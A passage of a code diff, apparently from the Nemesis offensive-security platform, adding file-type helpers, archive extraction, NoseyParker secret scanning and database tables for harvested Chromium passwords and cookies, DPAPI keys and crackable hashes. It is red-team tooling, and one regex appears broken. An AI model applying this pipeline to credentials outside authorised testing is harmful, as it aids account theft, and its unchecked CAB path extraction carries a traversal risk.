+ "pbm|pct|pgm|ppm|ras|std|svg|svm|swf|sxd|sxw|tiff|xhtml|xpm|xltx|"
+ "fodp|potm|pot|pptx|pps|ppt|pwp|sda|sdd|sti|sxi|uop|wmf|dbf|"
+ "dif|fods|ods|ots|pxl|sdc|slk|stc|sxc|uos|xls|xlt|xlsx|odp)$"
+ )
+ return re.match(path_regex, file_path, re.IGNORECASE) is not None
+
+
+def is_pe_extension(file_path: str) -> bool:
+ """Returns True if the supplied file_path matches a number of PE file extensions."""
+ pe_regex = "^.*\\.(acm|ax|cpl|dll|drv|efi|exe|mui|ocx|scr|sys|tsp)$"
+ return re.match(pe_regex, file_path, re.IGNORECASE) is not None
+
+
+def is_source_code(file_path: str) -> bool:
+ """Returns True if the supplied file_path matches a number of supported source code file extensions."""
+ source_code_regex = "^.*\\.(aspx|c|cpp|cs|go|groovy|java|jsp|js|lua|php|php3" "|php4|php5|ps1|psd1|psm1|py|rb|rs|sql|sh|swift|vb|vbs)$"
+ return re.match(source_code_regex, file_path, re.IGNORECASE) is not None
+
+
+def map_extension_to_language(extension: str) -> str:
+ """Maps a file extension to a source code language."""
+ language_mappings = {
+ "aspx": "ASPNET",
+ "c": "C",
+ "cpp": "CPLusPlus",
+ "cs": "CSharp",
+ "go": "Golang",
+ "groovy": "Groovy",
+ "java": "Java",
+ "jsp": "JavaServerPages",
+ "lua": "Lua",
+ "php": "PHP",
+ "php3": "PHP",
+ "php4": "PHP",
+ "php5": "PHP",
+ "ps1": "PowerShell",
+ "psd1": "PowerShell",
+ "psm1": "PowerShell",
+ "py": "Python",
+ "rb": "Ruby",
+ "rs": "Rust",
+ "sql": "SQL",
+ "sh": "BashScript",
+ "swift": "Swift",
+ "vb": "VisualBasic",
+ "vbs": "VisualBasicScript",
+ }
+ return language_mappings.get(extension.lower(), "unknown")
+
+
+def scan_with_yara(file_path: str, rule_name: str) -> bool:
+ """Scans a supplied file path with the given Yara rule.
+
+ Returns the True/False value of the rule match.
+ """
+ rule = yara.compile(filepath=f"./enrichment/lib/file_parsers/yara/{rule_name}.yara")
+ return len(rule.match(file_path)) != 0
+
+
+def nemesis_parsed_data_error(message: str) -> pb.ParsedData:
+ """Returns a `ParsedData` protobuf with the given error message."""
+ parsed_data = pb.ParsedData()
+ parsed_data.error = message
+ return parsed_data
+
+
+def nemesis_error(message: str) -> pb.Error:
+ """Returns a general Nemesis `error` protobuf message"""
+ error = pb.Error()
+ error.error = message
+ return error
+
+
+def is_archive(path: str) -> bool:
+ """Returns true if the file supplied is a Zip, 7z, Tarball, or CAB."""
+ return zipfile.is_zipfile(path) or py7zr.is_7zfile(path) or tarfile.is_tarfile(path) or libarchive.is_archive(path, ["cab"])
+
+
+def get_archive_size(path: str) -> int:
+ """Iterates over a zip's info entries and returns the total size.
+
+ NOTE: not 100% reliable against malicious inputs! (i.e., we can still get zip-bombed)
+
+ TODO: how to handle logging here?
+ """
+ if zipfile.is_zipfile(path):
+ f = zipfile.ZipFile(path)
+ return sum([zinfo.file_size for zinfo in f.filelist])
+ elif py7zr.is_7zfile(path):
+ f = py7zr.SevenZipFile(path)
+ return f.archiveinfo().uncompressed
+ elif tarfile.is_tarfile(path):
+ return estimate_uncompressed_gz_size(path)
+ elif libarchive.is_archive(path, ["cab"]):
+ total_size = 0
+ with libarchive.Archive(path) as a:
+ for entry in a:
+ total_size += entry.size
+ return total_size
+ else:
+ # File is not a supported archive format
+ return -1
+
+
+def estimate_uncompressed_gz_size(filename) -> int:
+ """Estimates a gzip uncompressed size.
+
+ Directly from https://stackoverflow.com/a/68939759
+ """
+
+ try:
+ # From the input file, get some data:
+ # - the 32 LSB from the gzip stream
+ # - 1MB sample of compressed data
+ # - compressed file size
+ with open(filename, "rb") as gz_in:
+ sample = gz_in.read(1000000)
+ gz_in.seek(-4, SEEK_END)
+ lsb = struct.unpack("I", gz_in.read(4))[0]
+ file_size = os.fstat(gz_in.fileno()).st_size
+
+ # Estimate the total size by decompressing the sample to get the
+ # compression ratio so we can extrapolate the uncompressed size
+ # using the compression ratio and the real file size
+ dobj = zlib.decompressobj(31)
+ d_sample = dobj.decompress(sample)
+
+ compressed_len = len(sample) - len(dobj.unconsumed_tail)
+ decompressed_len = len(d_sample)
+
+ estimate = int(file_size * decompressed_len / compressed_len)
+
+ # 32 LSB to zero
+ mask = ~0xFFFFFFFF
+
+ # Kill the 32 LSB to be substituted by the data read from the file
+ adjusted_estimate = (estimate & mask) | lsb
+
+ return adjusted_estimate
+
+ except Exception as e:
+ logger.warning(f"Error in estimate_uncompressed_gz_size: {e}")
+ return -1
+
+
+class FileNotSupportedException(Exception):
+ """Raised when a file is not supported"""
+
+ pass
+
+
+def extract_archive(path: str) -> str:
+ """
+ Extracts an archive file to a temporary directory and returns the
+ temporary directory name
+ """
+
+ # unpack the zip to a temporary directory
+ tmp_dir = f"/tmp/{uuid.uuid4()}"
+
+ if zipfile.is_zipfile(path):
+ shutil.unpack_archive(path, tmp_dir, "zip")
+ elif py7zr.is_7zfile(path):
+ shutil.register_unpack_format("7zip", [".7z"], py7zr.unpack_7zarchive)
+ shutil.unpack_archive(path, tmp_dir, "7zip")
+ elif tarfile.is_tarfile(path):
+ shutil.unpack_archive(path, tmp_dir, "tar")
+ elif libarchive.is_archive(path, ["cab"]):
+ with libarchive.Archive(path) as a:
+ for entry in a:
+ target_path = f"{tmp_dir}/{entry.pathname}"
+ # make sure we create all the subfolders needed to extract this file entry
+ os.makedirs(os.path.dirname(target_path), exist_ok=True)
+ with open(target_path, "wb") as f:
+ f.write(a.read(entry.size))
+ else:
+ raise FileNotSupportedException("File is not a supported archive format")
+ return tmp_dir
+
+
+def run_noseyparker(path: str) -> Optional[pb.NoseyParker]:
+ """Runs NoseyParker on the specified file/folder path.
+
+ Runs NoseyParker on the specified file/folder path, returning a
+ pb.NoseyParker protobuf object representing the results if successful.
+
+ The NoseyParker binary is built in the NoseyParker build container and copied to
+ /opt/noseyparker/noseyparker when this container is built.
+
+ """
+
+ # the temporary datastore to use for NoseyParker
+ temp_dir = f"/tmp/{uuid.uuid4()}/"
+
+ # run a scan with the temporary datastore
+ result = subprocess.run(
+ [
+ "/opt/noseyparker/noseyparker",
+ "scan",
+ "--datastore",
+ temp_dir,
+ "-r",
+ "/opt/noseyparker/noseyparker.rules",
+ path,
+ ],
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ )
+
+ # get the result from stdout as a JSON blob
+ result = subprocess.run(
+ ["/opt/noseyparker/noseyparker", "report", "--datastore", temp_dir, "--format=json"],
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ )
+ np_json_output_str = result.stdout.decode("utf-8")
+
+ # clean up the temporary datastore
+ if os.path.exists(temp_dir) and os.path.isdir(temp_dir):
+ shutil.rmtree(temp_dir)
+
+ # this will throw if the output is not proper Json
+ np_json_output = json.loads(np_json_output_str)
+
+ if not np_json_output:
+ logger.debug("No results from NoseyParker scan")
+ return None
+
+ # have to add this to ensure it's a dict instead of a list
+ np_dict = {"rule_matches": np_json_output}
+
+ # TODO: emit hash instances specifically to the queue?
+
+ # try to parse the dict/json output directly to the corresponding protobuf instance
+ pb_np = ParseDict(np_dict, pb.NoseyParker())
+ return pb_np
+
+
+def run_noseyparker_on_archive(path: str) -> Optional[pb.NoseyParker]:
+ """Runs NoseyParker on an archive.
+
+ Extracts an archive file to a temporary directory, runs NoseyParker on it,
+ removes the temp directory, and returns the NoseyParker results.
+
+ """
+
+ try:
+ # extract the archive
+ tmp_dir = extract_archive(path)
+
+ if tmp_dir:
+ # run NoseyParker on the extracted results
+ pb_np = run_noseyparker(tmp_dir)
+
+ # cleanup the temporary directory
+ if tmp_dir and os.path.exists(tmp_dir):
+ shutil.rmtree(tmp_dir, ignore_errors=True)
+
+ return pb_np
+
+ except Exception as e:
+ logger.exception(e, message="Exception run_noseyparker_on_archive", path=path)
+ return None
+
+
+def get_username_from_slack_file_path(file_path: str) -> str:
+ """
+ Checks if a file path is a Slack file (slack-downloads, slack-workspaces)
+ and returns a string of the username extracted from the path.
+ """
+
+ regex1 = re.compile(".*/(?P.*)/AppData/Roaming/Slack/storage/(slack-downloads|slack-workspaces)$")
+ matches = regex1.search(file_path, re.IGNORECASE)
+
+ if matches:
+ return matches.group("username").lower()
+ else:
+ return ""
diff --git a/cmd/enrichment/enrichment/lib/nemesis_db.py b/cmd/enrichment/enrichment/lib/nemesis_db.py
new file mode 100644
index 0000000..5127f59
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/nemesis_db.py
@@ -0,0 +1,1487 @@
+# Standard Libraries
+import base64
+import ntpath
+import os
+import uuid
+from abc import ABC, abstractmethod
+from dataclasses import dataclass
+from datetime import datetime
+from decimal import Decimal
+from enum import Enum
+from types import TracebackType
+from typing import (Any, AsyncGenerator, List, Optional, Tuple, Type, TypeVar,
+ Union)
+from uuid import UUID
+
+# 3rd Party Libraries
+import asyncpg
+import nemesispb.nemesis_pb2 as pb
+from enrichment.tasks.raw_data_tag.seatbelt_datatypes import SeatbeltOSInfo
+from pydantic.types import UUID4
+from typing_extensions import Self
+
+
+@dataclass
+class Project:
+ project_id: str
+ timestamp: datetime
+ expiration: datetime
+
+
+@dataclass
+class Metadata:
+ agent_id: str
+ project_id: str
+ source: str
+ timestamp: datetime
+ expiration: datetime
+
+
+@dataclass
+class NamedPipe(Metadata):
+ name: str
+ server_process_name: str = None
+ server_process_id: int = None
+ server_process_path: str = None
+ sddl: str = None
+
+
+@dataclass
+class NetworkConnection(Metadata):
+ local_address: str = None
+ remote_address: str = None
+ protocol: str = None
+ state: str = None
+ process_id: int = None
+ process_name: str = None
+ service: str = None
+
+
+@dataclass
+class ChromiumHistoryEntry(Metadata):
+ user_data_directory: str = None
+ username: str = None
+ browser: str = None
+ url: str = None
+ title: str = None
+ visit_count: int = None
+ typed_count: int = None
+ last_visit_time: datetime = None
+ originating_object_id: UUID4 = None
+
+
+@dataclass
+class ChromiumDownload(Metadata):
+ user_data_directory: str = None
+ username: str = None
+ browser: str = None
+ url: str = None
+ download_path: str = None
+ start_time: datetime = None
+ end_time: datetime = None
+ total_bytes: int = None
+ danger_type: str = None
+ originating_object_id: UUID4 = None
+
+
+@dataclass
+class ChromiumLogin(Metadata):
+ user_data_directory: str = None
+ username: str = None
+ browser: str = None
+ origin_url: str = None
+ username_value: str = None
+ signon_realm: str = None
+ date_created: datetime = None
+ date_last_used: datetime = None
+ date_password_modified: datetime = None
+ times_used: int = None
+ password_value_enc: bytes = None
+ encryption_type: str = None
+ masterkey_guid: str = None
+ is_decrypted: bool = False
+ password_value_dec: str = None
+ originating_object_id: UUID4 = None
+
+
+@dataclass
+class ChromiumCookie(Metadata):
+ user_data_directory: str = None
+ username: str = None
+ browser: str = None
+ host_key: str = None
+ name: str = None
+ path: str = None
+ creation: datetime = None
+ expires: datetime = None
+ last_access: datetime = None
+ last_update: datetime = None
+ is_secure: bool = None
+ is_httponly: bool = None
+ is_session: bool = None
+ samesite: str = None
+ source_port: int = None
+ value_enc: bytes = None
+ encryption_type: str = None
+ masterkey_guid: str = None
+ is_decrypted: bool = False
+ value_dec: str = None
+ originating_object_id: UUID4 = None
+
+
+@dataclass
+class ChromiumStateFile(Metadata):
+ user_data_directory: str = None
+ username: str = None
+ browser: str = None
+ installation_date: datetime = None
+ launch_count: int = None
+ masterkey_guid: str = None
+ key_bytes_enc: bytes = None
+ app_bound_fixed_data_enc: bytes = None
+ is_decrypted: bool = False
+ key_bytes_dec: bytes = None
+ app_bound_fixed_data_dec: bytes = None
+ originating_object_id: UUID4 = None
+
+
+@dataclass
+class AuthenticationData(Metadata):
+ data: str = None
+ type: str = None
+ is_file: bool = False
+ uri: str = None
+ username: str = None
+ notes: str = None
+ originating_object_id: UUID4 = None
+
+
+@dataclass
+class ExtractedHash(Metadata):
+ hash_type: str = None
+ hash_value: str = None
+ originating_object_id: UUID4 = None
+ hashcat_formatted_value: str = None
+ jtr_formatted_value: str = None
+ is_cracked: bool = False
+ checked_against_top_passwords: bool = False
+ plaintext_value: str = None
+ is_submitted_to_cracker: bool = False
+ cracker_submission_time: datetime = None
+ cracker_cracked_time: datetime = None
+
+
+@dataclass
+class DpapiBlob(Metadata):
+ dpapi_blob_id: str
+ masterkey_guid: UUID4
+ originating_object_id: UUID4
+ originating_registry_id: UUID4
+ is_file: bool
+ is_decrypted: bool
+ enc_data_bytes: Optional[bytes] = None
+ enc_data_object_id: Optional[UUID4] = None
+ dec_data_bytes: Optional[bytes] = None
+ dec_data_object_id: Optional[UUID4] = None
+
+
+@dataclass
+class DpapiMasterkey(Metadata):
+ object_id: str = None
+ type: str = None
+ username: str = None
+ user_sid: str = None
+ masterkey_guid: UUID4 = None
+ is_decrypted: bool = False
+ masterkey_bytes: bytes = None
+ domain_backupkey_guid: Optional[UUID4] = None
+ domainkey_pb_secret: Optional[bytes] = None
+ decrypted_key_full: Optional[bytes] = None
+ decrypted_key_sha1: Optional[bytes] = None
+
+
+@dataclass
+class DpapiDomainBackupkey(Metadata):
+ domain_backupkey_guid: str
+ domain_controller: str
+ domain_backupkey_bytes: bytes
+
+
+# @dataclass
+# class Service(Metadata):
+# domain_backupkey_guid: str = None
+# domain_controller: str = None
+# domain_backupkey_bytes: bytes = None
+
+
+@dataclass
+class RegistryObject(Metadata):
+ key: str
+ value_kind: Optional[int] = None
+ sddl: Optional[str] = None
+ value_name: Optional[str] = None
+ value: Optional[str] = None
+ tags: Optional[str] = None
+
+
+@dataclass
+class HostInfo(Metadata):
+ hostname: str
+ description: Optional[str] = None
+ os_type: Optional[str] = None
+ windows_major_version: Optional[Decimal] = None
+ windows_build: Optional[str] = None
+ windows_release: Optional[int] = None
+ windows_domain: Optional[str] = None
+
+ @classmethod
+ def from_seatbelt_dto(cls, dto: SeatbeltOSInfo, m: Metadata) -> Self:
+ """Converts a SeatbeltOSInfo DTO object to a NemesisDB HostInfo object.
+
+ Args:
+ dto (SeatbeltOSInfo): The SeatbeltOSInfo object to convert
+ metadata (Metadata): The metadata for the raw_data event
+
+ Returns:
+ HostInfo: The converted HostInfo object
+ """
+
+ hostname = dto.Hostname
+ description = dto.ProductName
+ os_type = "windows"
+ windows_major_version = dto.CurrentMajorVersionNumber
+ windows_build = dto.Build
+ windows_release = dto.ReleaseId
+ windows_domain = dto.Domain
+
+ h = HostInfo(
+ m.agent_id,
+ m.project_id,
+ m.source,
+ m.timestamp,
+ m.expiration,
+ hostname,
+ description,
+ os_type,
+ windows_major_version,
+ windows_build,
+ windows_release,
+ windows_domain,
+ )
+ return h
+
+
+@dataclass
+class SlackDownload(Metadata):
+ username: str
+ team_id: Optional[str] = None
+ user_id: Optional[str] = None
+ download_path: Optional[str] = None
+ start_time: Optional[datetime] = None
+ workspace_id: Optional[str] = None
+ download_id: Optional[str] = None
+ url: Optional[str] = None
+ download_state: Optional[str] = None
+ end_time: Optional[datetime] = None
+
+
+@dataclass
+class SlackWorkspace(Metadata):
+ username: str
+ workspace_name: Optional[str] = None
+ workspace_domain: Optional[str] = None
+ workspace_id: Optional[str] = None
+ workspace_icon_url: Optional[str] = None
+
+
+@dataclass
+class FileInfo(Metadata):
+ path: str
+ type: str
+ name: Optional[str] = None
+ extension: Optional[str] = None
+ size: Optional[int] = None
+ access_time: Optional[datetime] = None
+ creation_time: Optional[datetime] = None
+ modification_time: Optional[datetime] = None
+ owner: Optional[str] = None
+ sddl: Optional[str] = None
+ version_info: Optional[str] = None
+
+
+@dataclass
+class FileInfoDataEnriched(Metadata):
+ path: str
+ name: Optional[str] = None
+ extension: Optional[str] = None
+ size: Optional[int] = None
+ magic_type: Optional[str] = None
+ nemesis_file_id: Optional[str] = None
+
+
+@dataclass
+class FileDataEnriched(Metadata):
+ object_id: str
+ path: str
+ name: str
+ size: int
+ md5: str
+ sha1: str
+ sha256: str
+ nemesis_file_type: str
+ magic_type: str
+ converted_pdf_id: Optional[str] = None
+ extracted_plaintext_id: Optional[str] = None
+ extracted_source_id: Optional[str] = None
+ originating_object_id: Optional[str] = None
+ tags: Optional[List[str]] = None
+
+
+class ServiceColumn(Enum):
+ BINARY_PATH = "binary_path"
+ COMMAND_LINE = "command_line"
+ DESCRIPTION = "description"
+ DISPLAY_NAME = "display_name"
+ SDDL = "sddl"
+ SERVICE_DLL_ENTRYPOINT = "service_dll_entrypoint"
+ SERVICE_DLL_PATH = "service_dll_path"
+ SERVICE_TYPE = "service_type"
+ START_TYPE = "start_type"
+ USERNAME = "username"
+
+
+class NemesisDbInterface(ABC):
+ @abstractmethod
+ async def add_api_data_message(self, message_id: str, message_bytes: bytes) -> None:
+ pass
+
+ @abstractmethod
+ async def add_project(self, project: Project) -> None:
+ pass
+
+ @abstractmethod
+ async def add_chromium_history_entry(self, history_entry: ChromiumHistoryEntry) -> None:
+ pass
+
+ @abstractmethod
+ async def add_chromium_download(self, download: ChromiumDownload) -> None:
+ pass
+
+ @abstractmethod
+ async def add_chromium_login(self, login: ChromiumLogin) -> None:
+ pass
+
+ @abstractmethod
+ async def add_chromium_cookie(self, cookie: ChromiumCookie) -> None:
+ pass
+
+ @abstractmethod
+ async def add_chromium_state_file(self, state_file: ChromiumStateFile) -> None:
+ pass
+
+ @abstractmethod
+ async def add_authentication_data(self, auth_data: AuthenticationData) -> None:
+ pass
+
+ @abstractmethod
+ async def add_extracted_hash(self, auth_data: ExtractedHash) -> None:
+ pass
+
+ @abstractmethod
+ async def add_dpapi_blob(self, dpapi_blob: DpapiBlob) -> None:
+ pass
+
+ @abstractmethod
+ async def add_dpapi_masterkey(self, obj: DpapiMasterkey) -> None:
+ pass
+
+ @abstractmethod
+ async def add_dpapi_domain_backupkey(self, obj: DpapiDomainBackupkey) -> None:
+ pass
+
+ @abstractmethod
+ async def add_registry_object(self, registry_object: RegistryObject) -> None:
+ pass
+
+ @abstractmethod
+ async def add_service(self, metadata: pb.Metadata, service_name: str) -> None:
+ pass
+
+ @abstractmethod
+ async def add_service_property(
+ self,
+ metadata: pb.Metadata,
+ service_name: str,
+ value_name: ServiceColumn,
+ value: Union[int, str],
+ ) -> None:
+ pass
+
+ @abstractmethod
+ async def add_host_info(self, os_info: HostInfo) -> None:
+ pass
+
+ @abstractmethod
+ async def add_slack_download(self, slack_download: SlackDownload) -> None:
+ pass
+
+ @abstractmethod
+ async def add_slack_workspace(self, slack_workspace: SlackWorkspace) -> None:
+ pass
+
+ @abstractmethod
+ async def add_named_pipe(self, named_pipe: NamedPipe) -> None:
+ pass
+
+ @abstractmethod
+ async def add_network_connection(self, network_connection: NetworkConnection) -> None:
+ pass
+
+ @abstractmethod
+ async def add_filesystem_object(self, file_info: FileInfo) -> None:
+ pass
+
+ @abstractmethod
+ async def add_filesystem_object_from_enriched(self, file_data_enriched: FileInfoDataEnriched) -> None:
+ pass
+
+ @abstractmethod
+ async def get_encrypted_dpapi_masterkeys(self, domain_backupkey_guid: str):
+ pass
+
+ @abstractmethod
+ async def get_encrypted_dpapi_blobs(self, masterkey_guid: str) -> List[Tuple[uuid.UUID, bool, bytes, uuid.UUID]]:
+ pass
+
+ @abstractmethod
+ async def get_decrypted_dpapi_masterkey(self, masterkey_guid: str):
+ pass
+
+ @abstractmethod
+ async def get_dpapi_domain_backupkey(self, domain_backupkey_guid: str) -> Optional[bytes]:
+ pass
+
+ @abstractmethod
+ async def update_decrypted_dpapi_masterkey(self, masterkey_guid: str, decrypted_key_sha1: bytes, decrypted_key_full: bytes) -> None:
+ pass
+
+ @abstractmethod
+ async def update_decrypted_dpapi_blob(
+ self,
+ dpapi_blob_id: uuid.UUID,
+ dec_data_bytes: Optional[bytes],
+ dec_data_object_id: Optional[UUID],
+ ) -> None:
+ pass
+
+ @abstractmethod
+ async def get_decrypted_chromium_state_key(self, source: str, user_data_directory: str):
+ pass
+
+ @abstractmethod
+ async def get_encrypted_chromium_state_key(self, masterkey_guid: str) -> List[Tuple[str, str, uuid.UUID, bytes, bytes]]:
+ pass
+
+ @abstractmethod
+ async def update_decrypted_chromium_state_key(
+ self, unique_db_id: UUID4, key_bytes_dec: bytes, app_bound_fixed_data_dec: bytes | None
+ ) -> None:
+ pass
+
+ @abstractmethod
+ async def get_dpapi_encrypted_chromium_logins(self, masterkey_guid: str) -> List[Tuple[uuid.UUID, bytes]]:
+ pass
+
+ @abstractmethod
+ async def get_aes_encrypted_chromium_logins(self, source: str, user_data_directory: str) -> List[Tuple[uuid.UUID, bytes]]:
+ pass
+
+ @abstractmethod
+ async def update_decrypted_chromium_login(self, unique_db_id: UUID4, password_value_dec: str) -> None:
+ pass
+
+ @abstractmethod
+ async def get_dpapi_encrypted_chromium_cookies(self, masterkey_guid: str) -> List[Tuple[uuid.UUID, bytes]]:
+ pass
+
+ @abstractmethod
+ async def get_aes_encrypted_chromium_cookies(self, source: str, user_data_directory: str) -> List[Tuple[uuid.UUID, bytes]]:
+ pass
+
+ @abstractmethod
+ async def update_decrypted_chromium_cookie(self, unique_db_id: UUID4, value_dec: str) -> None:
+ pass
+
+
+NemesisDbT = TypeVar("NemesisDbT", bound="NemesisDb")
+_Record = TypeVar("_Record", bound=asyncpg.protocol.Record)
+_R = TypeVar("_R", bound=asyncpg.Record)
+
+
+class NemesisDb(NemesisDbInterface):
+ """
+ Generic database interface for Nemesis data types
+ """
+
+ pool: asyncpg.pool.Pool
+
+ def __init__(self, pool: asyncpg.pool.Pool):
+ if not pool:
+ raise Exception("Invalid connection pool")
+ self.pool = pool
+
+ @staticmethod
+ async def create(connection_uri: str):
+ pool = await asyncpg.create_pool(dsn=connection_uri)
+ if not pool:
+ raise Exception("Failed to create connection pool")
+ return NemesisDb(pool)
+
+ async def __aexit__(
+ self,
+ exc_type: Optional[Type[BaseException]],
+ exc_val: Optional[BaseException],
+ exc_tb: Optional[TracebackType],
+ ) -> None:
+ await self.Close()
+
+ async def Close(self) -> None:
+ await self.pool.close()
+
+ #
+ # Functions that help with reprocessing
+ #
+
+ async def add_api_data_message(self, message_id: str, message_bytes: bytes) -> None:
+ """Adds a new `nemesis.api_data_message` entry to the database."""
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ "INSERT INTO nemesis.api_data_messages (message_id, message_bytes) VALUES ($1, $2) ON CONFLICT DO NOTHING",
+ message_id,
+ message_bytes,
+ )
+
+ async def clear_database(self) -> None:
+ """Clears all tables in the database except for the `nemesis.api_data_messages` table."""
+
+ async with self.pool.acquire() as conn:
+ table_names = await conn.fetch(
+ "SELECT table_name FROM information_schema.tables WHERE table_schema = 'nemesis' AND table_name != 'api_data_messages'",
+ )
+ for table_name in table_names:
+ await conn.execute(f"TRUNCATE TABLE nemesis.{table_name[0]} CASCADE")
+
+ async def get_api_data_messages(self) -> AsyncGenerator[bytes, None]:
+ """Returns the raw bytes for all POST /data messages."""
+
+ async with self.pool.acquire() as conn:
+ async with conn.transaction():
+ async for message_bytes in conn.cursor("SELECT message_bytes FROM nemesis.api_data_messages"):
+ yield message_bytes[0]
+
+ #
+ # Other
+ #
+
+ async def add_project(self, project: Project) -> None:
+ """Adds a new `nemesis.projects` to the database."""
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ "INSERT INTO nemesis.projects (project_id, timestamp, expiration) VALUES ($1, $2, $3) ON CONFLICT DO NOTHING",
+ project.project_id,
+ project.timestamp,
+ project.expiration,
+ )
+
+ async def add_chromium_history_entry(self, history_entry: ChromiumHistoryEntry) -> None:
+ """Adds a new `nemesis.chromium_history` entry from a ChromiumHistoryEntry class object."""
+
+ query = (
+ "INSERT INTO nemesis.chromium_history (agent_id, project_id, source, timestamp, expiration, originating_object_id, user_data_directory, username, browser, url, title, visit_count, typed_count, last_visit_time) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14) ON CONFLICT DO NOTHING"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ history_entry.agent_id,
+ history_entry.project_id,
+ history_entry.source,
+ history_entry.timestamp,
+ history_entry.expiration,
+ history_entry.originating_object_id,
+ history_entry.user_data_directory,
+ history_entry.username,
+ history_entry.browser,
+ history_entry.url,
+ history_entry.title,
+ history_entry.visit_count,
+ history_entry.typed_count,
+ history_entry.last_visit_time,
+ )
+
+ async def add_chromium_download(self, download: ChromiumDownload) -> None:
+ """Adds a new `nemesis.chromium_downloads` entry from a ChromiumDownload class object."""
+
+ query = (
+ "INSERT INTO nemesis.chromium_downloads (agent_id, project_id, source, timestamp, expiration, originating_object_id, user_data_directory, username, browser, url, download_path, start_time, end_time, total_bytes, danger_type) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15) ON CONFLICT DO NOTHING"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ download.agent_id,
+ download.project_id,
+ download.source,
+ download.timestamp,
+ download.expiration,
+ download.originating_object_id,
+ download.user_data_directory,
+ download.username,
+ download.browser,
+ download.url,
+ download.download_path,
+ download.start_time,
+ download.end_time,
+ download.total_bytes,
+ download.danger_type,
+ )
+
+ async def add_chromium_login(self, login: ChromiumLogin) -> None:
+ """Adds a new `nemesis.chromium_logins` entry from a ChromiumLogin class object."""
+
+ query = (
+ "INSERT INTO nemesis.chromium_logins (agent_id, project_id, source, timestamp, expiration, originating_object_id, user_data_directory, username, browser, origin_url, username_value, password_value_enc, signon_realm, date_created, date_last_used, date_password_modified, times_used, encryption_type, masterkey_guid, is_decrypted, password_value_dec) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, $21) ON CONFLICT DO NOTHING"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ login.agent_id,
+ login.project_id,
+ login.source,
+ login.timestamp,
+ login.expiration,
+ login.originating_object_id,
+ login.user_data_directory,
+ login.username,
+ login.browser,
+ login.origin_url,
+ login.username_value,
+ login.password_value_enc,
+ login.signon_realm,
+ login.date_created,
+ login.date_last_used,
+ login.date_password_modified,
+ login.times_used,
+ login.encryption_type,
+ login.masterkey_guid,
+ login.is_decrypted,
+ login.password_value_dec,
+ )
+
+ async def add_chromium_cookie(self, cookie: ChromiumCookie) -> None:
+ """Adds a new `nemesis.chromium_cookies` entry from a ChromiumCookie class object."""
+
+ query = (
+ "INSERT INTO nemesis.chromium_cookies (agent_id, project_id, source, timestamp, expiration, originating_object_id, user_data_directory, username, browser, host_key, name, path, creation_utc, expires_utc, last_access_utc, last_update_utc, is_secure, is_httponly, is_session, samesite, source_port, value_enc, encryption_type, masterkey_guid, is_decrypted, value_dec) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, $21, $22, $23, $24, $25, $26) ON CONFLICT DO NOTHING"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ cookie.agent_id,
+ cookie.project_id,
+ cookie.source,
+ cookie.timestamp,
+ cookie.expiration,
+ cookie.originating_object_id,
+ cookie.user_data_directory,
+ cookie.username,
+ cookie.browser,
+ cookie.host_key,
+ cookie.name,
+ cookie.path,
+ cookie.creation,
+ cookie.expires,
+ cookie.last_access,
+ cookie.last_update,
+ cookie.is_secure,
+ cookie.is_httponly,
+ cookie.is_session,
+ cookie.samesite,
+ cookie.source_port,
+ cookie.value_enc,
+ cookie.encryption_type,
+ cookie.masterkey_guid,
+ cookie.is_decrypted,
+ cookie.value_dec,
+ )
+
+ async def add_chromium_state_file(self, state_file: ChromiumStateFile) -> None:
+ """Adds a new `nemesis.chromium_state_files` entry from a ChromiumDownload class object."""
+
+ query = (
+ "INSERT INTO nemesis.chromium_state_files (agent_id, project_id, source, timestamp, expiration, originating_object_id, user_data_directory, username, browser, installation_date, launch_count, masterkey_guid, key_bytes_enc, app_bound_fixed_data_enc, is_decrypted, key_bytes_dec, app_bound_fixed_data_dec) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17) ON CONFLICT DO NOTHING"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ state_file.agent_id,
+ state_file.project_id,
+ state_file.source,
+ state_file.timestamp,
+ state_file.expiration,
+ state_file.originating_object_id,
+ state_file.user_data_directory,
+ state_file.username,
+ state_file.browser,
+ state_file.installation_date,
+ state_file.launch_count,
+ state_file.masterkey_guid,
+ state_file.key_bytes_enc,
+ state_file.app_bound_fixed_data_enc,
+ state_file.is_decrypted,
+ state_file.key_bytes_dec,
+ state_file.app_bound_fixed_data_dec,
+ )
+
+ async def add_authentication_data(self, auth_data: AuthenticationData) -> None:
+ """Adds a new `nemesis.dpapi_blobs` entry from a AuthenticationData class object."""
+
+ query = (
+ "INSERT INTO nemesis.authentication_data ("
+ "agent_id, project_id, source, timestamp, "
+ "expiration, data, type, is_file, notes, uri,"
+ "username, originating_object_id) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12) ON CONFLICT DO NOTHING"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ auth_data.agent_id,
+ auth_data.project_id,
+ auth_data.source,
+ auth_data.timestamp,
+ auth_data.expiration,
+ auth_data.data,
+ auth_data.type,
+ auth_data.is_file,
+ auth_data.notes,
+ auth_data.uri,
+ auth_data.username,
+ auth_data.originating_object_id,
+ )
+
+ async def add_extracted_hash(self, auth_data: ExtractedHash) -> None:
+ """Adds a new `nemesis.extracted_hashes` entry from a ExtractedHash class object."""
+
+ query = (
